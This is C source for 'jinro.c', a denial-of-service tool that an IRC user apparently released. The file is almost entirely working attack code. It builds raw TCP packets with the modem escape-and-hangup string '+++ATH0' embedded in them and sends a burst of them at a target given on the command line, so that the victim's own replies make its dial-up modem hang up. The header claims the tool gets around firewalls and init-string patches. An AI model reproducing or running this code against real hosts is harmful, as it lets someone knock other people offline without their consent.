Jinro.c will transmit TCP packets which generate replies containing a modem hangup sequence. This is an improved version of the old hangup bug which may circumvent firewalls / init string patch.
a177990f433cf1832b454c2c6fec29700b7b6431125b5bee6189dfb3538da8d8
char about[] = "jinro.c by Sorcerer of DALnet";
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#define DUP_COUNT 3;
char hup[] = "+++ATH0\r";
struct tcp {
unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
char data[10];
};
main(int argc,char *argv[]) {
struct tcp tcp;
int sock = socket(PF_INET,SOCK_RAW,6),one=1;
struct sockaddr_in targ;
unsigned short tmp,pos,dup;
register int count,sum;
register unsigned short *p;
if((sock==-1) ||
(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)))
) {
fprintf(stderr,"failed to create raw socket\n");
exit(1);
}
if(argc<2) {
fprintf(stderr,"%s <target>\n",argv[0]);
exit(1);
}
printf("%s\n",&about[0]);
targ.sin_addr.s_addr = inet_addr(argv[1]);
targ.sin_family = AF_INET;
tcp.verihl = 69;
tcp.tos = 16;
tcp.len = htons(sizeof(struct tcp));
tcp.id = random() | 1;
tcp.flg_ofs = 64;
tcp.ttl = 128;
tcp.proto = 6;
tcp.ipsum = 0;
tcp.offset = 112;
tcp.flags = 8;
tcp.win = htons(8192);
tcp.urgptr = 0;
pos = 3;
while(pos++<255) {
hup[0]=pos;
hup[1]=pos;
hup[2]=pos;
strncpy((char *)&tcp.dst,&hup[0],8);
tmp = tcp.sport;
tcp.sport = tcp.dport;
tcp.dport = tmp;
tcp.src = tcp.dst;
tcp.dst = targ.sin_addr.s_addr;
count = (sizeof(struct tcp) - 20) >> 1;
p = (unsigned short *) &tcp.sport;
sum = (tcp.src >> 16) + (tcp.src & 0xffff) + (tcp.dst >> 16) +
(tcp.dst & 0xffff) + 1536 + htons(count << 1);
tcp.tcpsum = 0;
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
tcp.tcpsum = ~(sum += (sum >> 16));
targ.sin_port = tcp.dport;
dup =
#ifdef DUP_COUNT
DUP_COUNT
#else
1
#endif
;
while(dup--) if(
sendto(sock,&tcp,sizeof(struct tcp),0,
(struct sockaddr *)&targ,sizeof(targ))
==-1) {
fprintf(stderr,"failed to send packet\n");
exit(3);
}
usleep(10000);
}
}